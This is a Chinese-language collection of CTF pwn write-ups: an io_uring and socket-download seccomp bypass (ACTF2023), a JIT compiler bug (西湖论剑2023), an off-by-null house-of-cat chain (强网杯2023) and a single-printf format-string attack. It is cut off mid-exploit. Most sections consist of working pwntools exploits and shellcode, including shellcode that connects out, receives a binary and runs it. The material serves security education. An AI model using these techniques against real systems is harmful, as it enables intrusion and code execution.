context.terminal = ['tmux','splitw','-h']
io=process('./heap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(content):
payload=b'1 '
payload+=content
io.recvuntil('Your chocie:\n\n')
io.sendline(payload)

def show(index):
payload='2 '
payload+=str(index)
io.recvuntil('Your chocie:\n\n')
io.sendline(payload)

def edit(index,content):
payload=b'3 '
payload+=str(index).encode()
payload+=b':'
payload+=content
payload+=b'\x00'
io.recvuntil('Your chocie:\n\n')
io.sendline(payload)

def dele(index):
payload='4 '
payload+=str(index)
io.recvuntil('Your chocie:\n\n')
io.sendline(payload)

add(b'a'*0x63)
add(b'a'*0x58)
add(b'a'*0x58)
dele(1)
edit(0,b'b'*0x60+p16(0x8a0))
dele(0)
add(b'a'*0x58)#0
sleep(1)
show(2)
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x219c80
libc_argv=libc_base+0x21aa20
pop_rdi=libc_base+0x000000000002a3e5
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+0x001d8698
onegadget=libc_base+0xebdaf
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('libc_argv => {}'.format(hex(libc_argv)))
io.sendline(b'1'+b'a'*0x58)#1

add(b'c'*0x68)#3
add(b'c'*0x58)#4
add(b'c'*0x58)#5
dele(4)
edit(3,b'd'*0x60+p64(libc_argv))
dele(3)
add(b'c'*0x58)
sleep(1)
show(5)
pthread_ret_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x160
log.success('pthread_ret_addr => {}'.format(hex(pthread_ret_addr)))
io.sendline(b'1'+b'c'*0x58)#4

add(b'e'*0x68)#6
add(b'e'*0x58)#7
add(b'e'*0x58)#8
dele(7)
edit(6,b'f'*0x60+p64(pthread_ret_addr))
dele(6)
add(b'e'*0x58)
edit(8,p64(onegadget))
sleep(1)
io.recvuntil(b'Input the new paper content')
io.recvuntil(b'Input the new paper content')
io.sendline()
# gdb.attach(io)




io.interactive()

0x1A.ACTF2023 master-of-orw【io_uring系统调用、recvfrom、connect在shellcode中的使用】

开了一个很逆天的沙箱

image-20231129110100004

open read write被禁了个遍,那么该如何成为master呢?

正统的方法是使用io_uring,io_uring是从内核版本5.1之后添加进去的新特性,有以下三个系统调用

image-20231129152311135

1
2
3
#define __NR_io_uring_setup 425
#define __NR_io_uring_enter 426
#define __NR_io_uring_register 427

io_uring 主要为了解决 原生AIO(Native AIO) 存在的一些不足之处。比如系统调用开销大。

由于调用系统调用时,会从用户态切换到内核态,从而进行上下文切换,而上下文切换会消耗一定的 CPU 时间。

使用 read()write() 等系统调用进行 I/O 操作时,会从用户态嵌入到内核态,如下图所示:

img

io_uring 为了减少或者摒弃系统调用,采用了用户态与内核态 共享内存 的方式来通信。如下图所示:

img

实际上该调用read还是一样调用,但是不走read系统调用了,走的是io_uring的系统调用。

那么这题就可以用io_uring来实现shellcode,从而绕过沙箱。

不过由于手搓io_uring的shellcode相当麻烦,所以这里还有一个取巧的办法,沙箱并没有堵住recvfrom函数,因此可以上传一个mmap-socket-connect-recvfrom的shellcode。

首先静态编译(不开启pie)一个使用io_uring进行orw的程序,然后在本地使用cat orw | nc -l 8888将程序从本地的8888端口发送出去。

shellcode中的mmap用于在0x400000开辟一块内存,然后connect到本地的8888端口,再调用recvfrom从8888端口读取数据,存储在0x400000处,也就是将orw这个程序读取到0x400000处。最后跳转到orw的main函数处继续执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <liburing.h>
#include <string.h>
#include <liburing/io_uring.h>
#define BUFSIZE 256


int main() {
struct io_uring ring;
struct io_uring_params params;
int fd;
char buffer[BUFSIZE];

// 初始化参数

memset(&params, 0, sizeof(params));
if (io_uring_queue_init_params(1, &ring, &params) < 0) {
perror("io_uring_queue_init_params");
return 1;
}


// 配置open操作
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_openat(sqe, AT_FDCWD, "flag", O_RDONLY, 0);
io_uring_sqe_set_flags(sqe, IOSQE_ASYNC);


// 提交open操作
io_uring_submit(&ring);

// 配置read操作
sqe = io_uring_get_sqe(&ring);
io_uring_prep_read(sqe, 5, buffer, BUFSIZE, 0);
io_uring_sqe_set_flags(sqe, IOSQE_ASYNC);


// 提交read操作
io_uring_submit(&ring);

sqe = io_uring_get_sqe(&ring);
io_uring_prep_write(sqe, STDOUT_FILENO, buffer, BUFSIZE, 0);

io_uring_sqe_set_flags(sqe, IOSQE_ASYNC);


// 提交write操作
io_uring_submit(&ring);

// 等待操作完成
struct io_uring_cqe *cqe;
if (io_uring_wait_cqe(&ring, &cqe) < 0) {
perror("io_uring_wait_cqe");
return 1;
}


// 提交所有操作
io_uring_submit(&ring);

// 清理
io_uring_cq_advance(&ring, 2);
io_uring_queue_exit(&ring);
close(fd);

return 0;
}


1
2
3
4
5
6
7
8
int main()
{
struct sockaddr_in *serv_addr = malloc(sizeof(struct sockaddr_in));
memset(serv_addr, 0, sizeof(struct sockaddr_in));
serv_addr->sin_family = AF_INET;
serv_addr->sin_addr.s_addr = inet_addr("127.0.0.1");
serv_addr->sin_port = htons(8888);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
# context.log_level='debug'
context.terminal = ['tmux','splitw','-h']
context.arch='amd64'
io=process('./master-of-orw')

socket_struct = 0x020022b87f000001
asm_socket = '''
mov rax, 41
mov rdi, 2
mov rsi, 1
xor rdx, rdx
syscall
'''

push_socket_struct = '''
mov r15, 0x0100007fb8220002
push r15
'''

asm_connect = '''
mov rsi, rsp
mov rdi, 3
mov rdx, 0x10
mov rax, 42
syscall
'''

cyc_recv = '''
mov rsi, 0x400000
mov r14, 0xcfcc8

again:
mov edi, 3
mov rdx, 0x1000
mov r10d, 0
xor r8d, r8d
xor r9d, r9d
mov eax, 45 ;// recvfrom
syscall
add rsi, rax
sub r14, rax
cmp r14,0
jge again

push 0x401620 //orw的main函数地址
ret
'''
shellcode = asm(shellcraft.mmap(0x400000,0x100000,7,33,0,0)) + \
asm(asm_socket) + asm(push_socket_struct) + asm(asm_connect) + \
asm(cyc_recv)
io.recvuntil('code\n')
gdb.attach(io)
io.send(shellcode)
io.interactive()

0x1B.西湖论剑2023 JIT

C++写的,没去符号表

image-20231130145529369

进入到Compiler::main函数

image-20231130151108239

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//mmap出来一块内存,初始化这块内存。
void __cdecl JITHelper::init()
{
JITHelper::execbuf = (char *)mmap(0LL, 0x2000uLL, 7, 34, -1, 0LL);
JITHelper::exec_wr = JITHelper::execbuf;
memset(JITHelper::execbuf, '\xCC', 0x2000uLL);
}

//返回可执行内存的入口点
void *__cdecl JITHelper::nowptr()
{
return JITHelper::exec_wr;
}

std::string *__cdecl std::literals::string_literals::operator"" s[abi:cxx11](
std::string *__return_ptr retstr,
const char *__str,
std::size_t __len)
{
char v5; // [rsp+27h] [rbp-11h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-10h]

v6 = __readfsqword(0x28u);
std::allocator<char>::allocator(&v5);
std::string::basic_string(retstr, __str, __len, &v5);
std::allocator<char>::~allocator(&v5);
return retstr;
}

std::literals::string_literals::operator"" s[abi:cxx11](&boot, _str, 0xBuLL);_str如下所示

image-20231130151959940

image-20231130152059550

_str实际上是一段指令。往boot中写入这段指令。

看到JITHelper::write(&p_payload);

image-20231130152634007

就是将boot中的指令拷贝到JITHelper::exec_wr中,如下图

image-20231201200437800

然后将JITHelper::exec_wr指针向后移。继续往下看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
bool __cdecl IRstream::empty()
{
return std::string::size(&IRstream::ir[abi:cxx11]) == IRstream::pos;
}

void __cdecl Compiler::handleFn()
{
u8 id; // [rsp+5h] [rbp-13h] BYREF
u8 args; // [rsp+6h] [rbp-12h]
u8 locals; // [rsp+7h] [rbp-11h]
unsigned __int64 v3; // [rsp+8h] [rbp-10h]

v3 = __readfsqword(0x28u);
if ( IRstream::getop() != 0xFF )
fatal();
id = IRstream::getop();
if ( std::unordered_map<unsigned char,Compiler::func>::count(&Compiler::funcs, &id) )
fatal();
args = IRstream::getop();
locals = IRstream::getop();
Compiler::creatFunc(id, args, locals);
}

u8 __cdecl IRstream::getop()
{
size_t v0; // rbx
unsigned __int8 r; // [rsp+Fh] [rbp-9h]

v0 = IRstream::pos + 1;
if ( v0 > std::string::size(&IRstream::ir[abi:cxx11]) )
fatal();
r = *(_BYTE *)(std::string::data((__int64)&IRstream::ir[abi:cxx11]) + IRstream::pos);
++IRstream::pos;
return r;
}

IRstream::ir指向JIT指令的起始位置,IRstream::pos指向当前的JIT指令,getop()就是根据pos从ir中获取1字节的指令。

image-20231201204703525

根据id创建函数,将函数映射到Compiler::funcs,然后进入到creatFunc函数中

image-20231204134328427

参数不能大于8个,局部变量不能多于0x20个;unk_59E0也是一段代码,我们写一个简单的指令来调试一下:payload=p8(0xff)+p8(0)+p8(1)+p8(1)

当运行完JITHelper::write(&p_payload);之后,JITHelper::exec_wr中的指令如下所示

image-20231204134642728

红框中就是unk_59E0中的指令。运行完JITHelper::bwrite<int>(8 * locals);之后,指令变成了如下所示

image-20231204134903038

由于我们设置的局部变量数据只有1个,所以这里将8*1写入了其中,抬栈8个字节。在这个函数中就是为函数开辟栈空间。

看到Compiler::handleFnBody函数

image-20231204135841224

通过循环取opcode来决定要执行的代码,case 0的操作最为简单,从case 0看起

1
2
3
case 0u:
v0 = IRstream::getop();
return Compiler::var2idx(v0);

取下一个字节opcode,然后传入Compiler::var2idx,看到这个函数

image-20231204141828923

最高位为1时取局部变量,最高位为0时取参数,题目限制args<=8,locals<=0x20,根据这个限制,写一个脚本打印出var2idx的所有返回值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def var2idx(varib):
if varib&0x7f==0:
exit(-1)
if varib&0x80==0:
if varib>8:
exit(-1)
if 8*varib<=0:
exit(-1)
return 8*varib
else:
variba=varib^0x80
if variba>0x20:
exit(-1)
if -8*variba>0:
exit(-1)
return -8*variba

for i in range(1,9):
print(hex(i)+':'+hex(var2idx(i)))

for i in range(0x81,0x81+0x20):
print(hex(i)+':'+hex(var2idx(i)))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
0x1:0x8
0x2:0x10
0x3:0x18
0x4:0x20
0x5:0x28
0x6:0x30
0x7:0x38
0x8:0x40
0x81:-0x8
0x82:-0x10
0x83:-0x18
0x84:-0x20
0x85:-0x28
0x86:-0x30
0x87:-0x38
0x88:-0x40
0x89:-0x48
0x8a:-0x50
0x8b:-0x58
0x8c:-0x60
0x8d:-0x68
0x8e:-0x70
0x8f:-0x78
0x90:-0x80
0x91:-0x88
0x92:-0x90
0x93:-0x98
0x94:-0xa0
0x95:-0xa8
0x96:-0xb0
0x97:-0xb8
0x98:-0xc0
0x99:-0xc8
0x9a:-0xd0
0x9b:-0xd8
0x9c:-0xe0
0x9d:-0xe8
0x9e:-0xf0
0x9f:-0xf8
0xa0:-0x100

var2idx的返回值范围为[-0x100,0x40].

case 0时就直接从handleFnBody中return了,以这样的payload试试:p8(0xff)+p8(0)+p8(1)+p8(0x20)+p8(0)+p8(0x81)

handleFnBody之后是func_ret,handleFnBody的返回值和局部变量数作为参数传入其中:

image-20231204204209759

当程序运行到如下代码之后

image-20231204204552705

此时exec_wr中的指令为

image-20231204204724746

我们再把payload修改为:p8(0xff)+p8(0)+p8(1)+p8(0x20)+p8(0)+p8(0x86),exec_wr中的指令变为了如下

image-20231214151602079

lea rdi,[rbp-xx]中的数字就是var2idx的返回值,在func_ret函数中,生成了函数退出的指令。

再分析功能码1的指令,输入payload:p8(0xff)+p8(0)+p8(1)+p8(0x20)+p8(1)+p8(0x81)+p64(0x100)

得到以下指令

image-20231214155322299

即var=imm,将1个立即数赋值给一个参数或者局部变量

看到功能码2,使用payload:p8(0xff)+p8(0)+p8(1)+p8(0x20)+p8(2)+p8(0x81)+p64(0x82)

得到以下指令

image-20231214155950239

即var1=var2,将var2的值赋值给var1

看到功能码3,使用payload:p8(0xff)+p8(0)+p8(1)+p8(0x20)+p8(3)+p8(0x81)+p64(0x82)

image-20231214160542711

很明显,var1&=var2

看到功能码4,使用payload:p8(0xff)+p8(0)+p8(1)+p8(0x20)+p8(4)+p8(0x81)+p64(0x82)

image-20231214161303599

var1|=var2

功能5:

image-20231214161540639

var1^=var2

功能6太长了,暂时不看。

在生成完指令之后,会跳出handleFn函数,进入到一大串if判断

image-20231214170624741

要求有id为0的函数,且这个函数的参数数量为0,并且entry+boot能够找到这个函数,这里就是在判断main函数。

那么漏洞点在哪里?

在所有功能中,对于参数和局部变量的取值都是以rbp-xx的形式,在var2idx函数中

image-20231214172554830

返回偏移量的时候,是char类型,对于参数,返回值的范围是[0x8,0x40],而对于局部变量,返回值的范围则是[-0x8,-0x100],而0x100则会被截断变成0,此时就可以控制rbp的值。如下图所示

image-20231214173343553

该如何利用?

在一开始调用这些指令时

image-20231215111127360

rbp和rsp指向同一处,然后函数序言sub rsp,0x100开辟函数栈,函数尾声的时候add rsp,0x100还原函数栈

image-20231215111559296

紧跟着ret,就是pop rip,将栈顶的值弹出到rip继续执行,而由于rbp和rsp相同,所以控制了rbp的值就相当于控制了rsp的值,也就能控制JIT指令执行完毕后要执行的指令。

利用思路就是把execve(“/bin/sh”)的shellcode的字节码先通过功能1赋值到栈上,这样exec_buf中就有了字节码,由于字节码一次只能存储8字节,并且字节码之间会有JIT的字节码,所以需要使用jmp short s这样的段跳转指令来连接每条shellcode;最后控制rbp的值,使其指向shellcode的开始处。(因为开启了NX,所以栈没有可执行权限,只能在execbuf中进行shellcode执行)

如下所示

image-20231215163557255

第一个8字节为\x48\x31\xf6\xeb\x0c\x00\x00\x00,第二个8字节为\x48\x31\xd2\xeb\x0c\x00\x00\x00,可以看到这两个8字节之间是分开的,中间还存储着JIT字节码,所以在第一个8字节中,需要使用jmp进行跳转到第二个8字节的shellcode中,第二个再跳到第三个,依次类推。使用jmp 0xe这样子的跳转来跳转到第二个8字节的shellcode继续执行。

这是shellcode的主体,我们还需要修改rbp的值,使其能够跳转执行我们的shellcode。

我们的shellcode的起始位置的末尾两字节是0x25,所以我们将rbp的值末尾两字节修改为0x25即可

image-20231219143311649

这样ret就能够执行我们的shellcode

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
io=process('./jit')

payload=p8(0xff)+p8(0)+p8(0)+p8(0x20)
payload+=p8(1)+p8(0x8b)+b'/bin/sh\x00'
payload+=p8(1)+p8(0x8a)+b'\x48\x31\xf6\xeb\x0c\x00\x00\x00' #mov [rbp-0x50],"xor rsi,rsi;jmp 0xe"
payload+=p8(1)+p8(0x89)+b'\x48\x31\xd2\xeb\x0c\x00\x00\x00' #mov [rbp-0x48],"xor rdx,rdx;jmp 0xe"
payload+=p8(1)+p8(0x88)+b'\x48\x31\xc0\xeb\x0c\x00\x00\x00' #mov [rbp-0x40],"xor rax,rax;jmp 0xe"
payload+=p8(1)+p8(0x87)+b'\x48\x83\xc0\x3b\xeb\x0b\x00\x00' #mov [rbp-0x38],"add rax,0x3b;jmp 0xd"
payload+=p8(1)+p8(0x86)+b'\x0f\x05\x00\x00\x00\x00\x00\x00' #mov [rbp-0x30],"syscall"
payload+=p8(1)+p8(0x85)+p64(0x25)
payload+=p8(1)+p8(0x84)+p64(0xffffffffff00)
payload+=p8(3)+p8(0xa0)+p8(0x84)
payload+=p8(4)+p8(0xa0)+p8(0x85)
payload+=p8(0)+p8(0x8b)
gdb.attach(io)
io.send(payload)
io.interactive()

0x1C.强网杯2023 warmup23

这题考察的就是高版本的off-by-null的利用

image-20231219143542764

不限制堆块的大小,但是会在写入的数据的末尾添加0字符,这样就无法直接泄露出libc地址以及堆地址,需要通过off-by-null构造出overlapchunk之后才能泄露信息。

高版本的off-by-null基本都是通过largebin的残留信息来构造出fake_chunk->fd->bk==fake_chunk,fake_chunk->bk->fd==fake_chunk这样的条件,进而绕过检查。

这道题比赛的时候我是照着glibc2.29+的off by null利用 - 跳跳糖 (tttang.com)这篇文章给的poc进行调整利用的,虽然做出来了但对于其中的构造还是没有弄太清楚,所以还需要仔细分析一下。前面提到的利用largebin来进行绕过需要爆破,而这篇文章中介绍的利用unsortedbin无需爆破。

构造overlap chunk需要以下步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
add(0x418, "A"*0x100) #0 
add(0x108) #1
add(0x418, "B0"*0x100) #2
add(0x438, "C0"*0x100) #3
add(0x108,'4'*0x100) #4
add(0x488, "H"*0x100) # 5
add(0x428, "D"*0x100) # 6
add(0x108) # 7 barrier

delete(0)
delete(3)
delete(6)
delete(2)

add(0x438, 'a' * 0x418 + p64(0x551)[:-2]) #0

add(0x418) #2
add(0x428) #3
add(0x418,"0"*0x100) #6


delete(6)
delete(2)
add(0x418, 'a' * 8) #2
add(0x418) #6

delete(6) #
delete(3) #

delete(5) #
add(0x500-8, '6'*0x488 + p64(0x431)) #2

add(0x3b0) #3

delete(4)
add(0x108,'4'*0x100+p64(0x550))
add(0x418)
delete(3)

逐步分析

首先分配如下chunk

image-20231219150240330

按照0,3,6,2的顺序将chunk free掉

首先free 0

image-20231219151719269

放入到unsortedbin

接着free 3,chunk3被加入到链表头,fd指向chunk0,chunk0的bk指针指向chunk3

image-20231219151954174

image-20231219152050155

然后free 6,chunk6被加入到链表头,fd指向chunk3

image-20231219152204847

chunk3的fd指向chunk0,bk指向chunk6

image-20231219152245264

chunk0的bk指向chunk3

image-20231219152635514

image-20231219152728015

最后free chunk2,由于chunk2和chunk3相邻,所以会合并,chunk2的fd指向chunk6

image-20231219152812879

image-20231219152906995

这一轮free之后,借助unsortedbin我们在堆中留下了地址信息。

然后我们开始伪造fakechunk

1
add(0x438, 'a' * 0x418 + p32(0x551)[:-2]) #0

从0x861的chunk中切下来一块,利用chunk3的残留指针信息伪造fakechunk,如下图

image-20231219154444139

伪造的chunksize为0x551,fd指向chunk0,bk指向chunk6。

然后再将剩余的unsortedbin全部取出来,此时堆如下图

image-20231219171335455

fake_chunk有了,接下来构造fake_chunk->fd->bk==fake_chunk以及fake_chunk->bk->fd==fake_chunk

fakechunk的fd指向chunk0(重新申请unsortedbin之后,chunk0变为了chunk6),所以需要将chunk0的bk指向fakechunk,也是利用unsortedbin的残留指针

image-20231219173717769

fakechunk下方的chunk2的地址和fakechunk相差在0x100范围内,且fakechunk的地址末尾是00,所以可以使用chunk2和chunk6构成一个链表,在chunk6的的bk指针中写入chunk2的地址,再申请回来,利用写入附带的0,将bk指针修改为指向fakechunk,如下图所示

image-20231219174511076

此时即可绕过第一个检查fake_chunk->fd->bk==fake_chunk

fakechunk的bk指针指向chunk6(重新申请unsortedbin之后,chunk6变为了chunk3),依然是故技重施,利用chunk6和chunk3形成一个链表,往chunk3的fd中写入chunk6的地址,但由于add功能至少要写入1个字节加1个00字符,所以直接将chunk3申请出来会破坏掉fd指针;这里还需要将chunk3上方的chunk5也free掉,然后chunk5和chunk3合并为一个大chunk,然后再从这快大chunk中切割,覆盖掉原有的chunk3的size位,利用多写的一个0字符就可以修改fd指针。

如下图所示:

覆盖前

image-20231219195841909

覆盖后

image-20231219195918975

如此一来,fake_chunk->fd->bk==fake_chunk以及fake_chunk->bk->fd==fake_chunk的要求就都满足了

接下来只需要在在fakechunk的下一个chunk中伪造好prev_size,并进行off-by-null即可,如下图

image-20231219200247087

整体构造图如下

image-20231219200443015

image-20231219200603590

image-20231219200714537

很巧妙的做法,利用unsortedbin的残留指针绕过检查,并且不需要爆破,学到了。

完整的exp如下,off-by-null之后house of cat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
from pwn import *
context.log_level='debug'
#io=process('./warmup')
libc=ELF('./libc.so.6')

def add(size,content='a'):
io.recvuntil('>> ')
io.sendline('1')
io.recvuntil('Size: ')
io.sendline(str(size))
io.recvuntil('Note: ')
io.send(content)

def show(index):
io.recvuntil('>> ')
io.sendline('2')
io.recvuntil('Index: ')
io.sendline(str(index))

def delete(index):
io.recvuntil('>> ')
io.sendline('3')
io.recvuntil('Index: ')
io.sendline(str(index))

def pwn(io):
add(0x418, "A"*0x100) #0
add(0x108) #1
add(0x418, "B"*0x100) #2
add(0x438, "C"*0x100) #3
add(0x108,'4'*0x100) #4
add(0x488, "D"*0x100) # 5
add(0x428, "E"*0x100) # 6
add(0x108) # 7

delete(0)
delete(3)
delete(6)
delete(2)

add(0x438, 'a' * 0x418 + p32(0x551)[:-2]) #0

add(0x418) #2
add(0x428) #3
add(0x418,"0"*0x100) #6


delete(6)
delete(2)
add(0x418, 'a' * 8) #2
add(0x418) #6

delete(6)
delete(3)

delete(5)
add(0x500-8, '6'*0x488 + p64(0x431)) #2

add(0x3b0) #3

delete(4)
add(0x108,'4'*0x100+p64(0x550))
add(0x418)
delete(3)
add(0x18,'a')
show(6)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x219ce0
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx=libc_base+0x00000000000796a2
pop_rax=libc_base+0x0000000000045eb0
syscall=libc_base+0x0000000000091316
ret=libc_base+0x0000000000029139
stderr=libc_base+libc.symbols['stderr']
setcontext=libc_base+libc.symbols['setcontext']+61
io_wfile_jumps=libc_base+0x2160c0
io_list_all=libc_base+0x21a680

log.success('libc_base => {}'.format(hex(libc_base)))
log.success('stderr => {}'.format(hex(stderr)))

show(2)
io.recvuntil('a'*8)
heap_base=u64(io.recv(6).ljust(8,'\x00'))-0x15e0
log.success('heap_base => {}'.format(hex(heap_base)))
delete(7)
delete(4)
add(0x498,'a'*0x410+p64(0)+p64(0x111)+p64((stderr-0x20)^((heap_base+0x1050)>>12))+p64(0))
add(0x108,'./flag\x00')

add(0x108,p64(0)*3+p64(libc_base+0x216600)+p32((heap_base+0x2b0)&0xffffffff)+p16(((heap_base+0x2b0)>>32)&0xffff))



flagaddr=heap_base+0x1050
orw=p64(pop_rdi)+p64(flagaddr)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base+0x1a20)+p64(pop_rdx)+p64(0x40)+p64(pop_rax)+p64(0)+p64(syscall)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base+0x1a20)+p64(pop_rdx)+p64(0x40)+p64(pop_rax)+p64(1)+p64(syscall)
add(0x200,orw)

fake_io_addr=heap_base+0x2b0
orw_addr=heap_base+0x10d0
next_chain = 0
fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(fake_io_addr+0xb0)
fake_IO_FILE +=p64(setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base+0x200)
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(io_wfile_jumps+0x10)
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x30+0x10)

payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(orw_addr)+p64(ret)
delete(2)
add(0x418,payload1)
delete(1)
delete(7)
delete(4)
add(0x498,'a'*0x410+p64(0)+p64(0x111)+p64((heap_base+0x1b20)^((heap_base+0x1050)>>12))+p64(0))
add(0x108,'flag\x00')
add(0x108,p64(0)+p64(0x30))
#gdb.attach(io,'b* (_IO_wfile_seekoff)')
add(0x1000)
data=io.recv(0x40)
print(data)
io.interactive()

#io=process('./warmup')
io=remote('120.24.69.11',12700)
pwn(io)

0x1D.拟态强网决赛 fmt 【格式化字符串修改不存在的指针】

image-20231219201856066

给了栈地址的末尾两字节,然后读取0x100字节,一次格式化字符串的机会,而且格式化字符串是在bss段不在栈上,之后使用_exit(0)退出程序。

众所周知,不在栈上的格式化字符串需要找到一条栈链,如下图所示

image-20231219202627856

通过对栈链的间接修改,从而修改我们想要修改的内存的数据。而对于栈链的修改通常需要2次或者以上的printf才能达到我们的目的,然而对于本题只有一次printf的机会,该如何进行返回地址的修改呢?

首先看看保护

image-20231219205036315

有用的全开了,所以还是老老实实改返回地址吧。

我们正常修改一个内存值,使用%Xc%$Yhn这样的格式化字符串,%$Y用于指定要往格式化字符串的第几个内存中写入数据,然而如果想要在一次printf中多次修改的话,需要做一点改动。

我们需要做两步,第一步是修改偏移0x40处的栈链

image-20231220115234122

使得栈链能够指向返回地址,如下图所示

image-20231220115508656

然后再修改0x130偏移处的栈链,进而修改printf的返回地址。

我们使用如下的payload,来在一次printf中完整两个栈链的修改

1
2
3
4
5
payload='%'+str(ret_end-11)+'c'
payload+='%c'*11
payload+='%hn'
payload+='%'+str(0x10023-ret_end)+'c'+'%43$hhn'
payload=payload.ljust(0x30,'a')

第一次修改不使用%Xc%Y$hhn%Y$用于指定要写入的偏移,比如%11$就是格式化字符串的第11个偏移量,在第一次修改中不使用$来指定偏移,而是使用连续的%来堆叠偏移,使用hn来进行写入的时候,如果没有$,就会根据hn前面出现的%数量来确定写入的偏移,如果hn前面有11个%,同样能够实现%11$hn的效果,所以这一段payload

1
2
3
payload='%'+str(ret_end-11)+'c'
payload+='%c'*11
payload+='%hn'

实现的也是'%'+str(ret_end-11)+'c'+'%11$hn'的效果。

image-20231220142453145

第一条栈链使用%13$p来寻找,上面的payload中,hn之前出现了13个%,为什么是'%'+str(ret_end-11)+'c'呢,因为后面还用了11个%c,输出了11个字符。

修改第二条栈链就不需要使用这种形式了,按照正常格式改就可以。至于为什么第一条栈链的修改不能使用$,暂时还不清楚,可能和%n的使用有关。

发送这样的payload之后,就可以修改printf的返回地址到main函数,顺便再泄露libc地址和栈地址

image-20231220143947836

该怎么样进行利用呢,毕竟返回地址只有一个,总不能一边修改返回地址为main,一边修改返回地址为onegadget吧。

在栈空间中,我们可以找到多条栈链

image-20231220161512560

第一条栈链用于修改printf的返回地址,第二条栈链用于将返回地址的下一个地址修改为onegadget,最后再将返回地址修改为ret,这样printf执行完之后就会执行ret滑向onegadget,如下图所示

ret用的是万能gadget的末尾

image-20231220212609095

image-20231220212640479

返回地址被修改为了ret的地址,ret之后就是onegadget。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context.log_level='debug'
io=process('./fmt')
io.recvuntil('Gift: ')
stack_end=int(io.recv(4),16)
ret_end=stack_end-0xc
log.info("stack_addr => {}".format(stack_end))

payload='%'+str(ret_end-9)+'c'
payload+='%c'*9
payload+='%hn'
payload+='%'+str(0x10023-ret_end)+'c'+'%39$hhn'
payload=payload.ljust(0x30,'a')
payload+='%9$p%11$p%13$p'
io.send(payload)
io.recvuntil('a'*6)
libc_base=int(io.recv(14),16)-0x24083
stack_addr=int(io.recv(14),16)
pro_base=int(io.recv(14),16)-0x00000000000011A9
log.info("libc_base => {}".format(hex(libc_base)))
log.info("stack_addr => {}".format(hex(stack_addr)))
log.info("pro_base => {}".format(hex(pro_base)))
ret_next_addr=stack_addr-0x108
onegadget=libc_base+0xe3b01


payload='%'+str(0x23)+'c%39$hhn'
payload+='%'+str((ret_next_addr&0xffff)-0x23)+'c%27$hn'
payload=payload.ljust(0x100,'\x00')
io.send(payload)
payload='%'+str(0x23)+'c%39$hhn'
payload+='%'+str((onegadget&0xffff)-0x23)+'c%41$hn'
payload=payload.ljust(0x100,'\x00')
io.send(payload)

payload='%'+str(0x23)+'c%39$hhn'
payload+='%'+str(((ret_next_addr+2)&0xffff)-0x23)+'c%27$hn'
payload=payload.ljust(0x100,'\x00')

io.send(payload)
payload='%'+str(0x23)+'c%39$hhn'
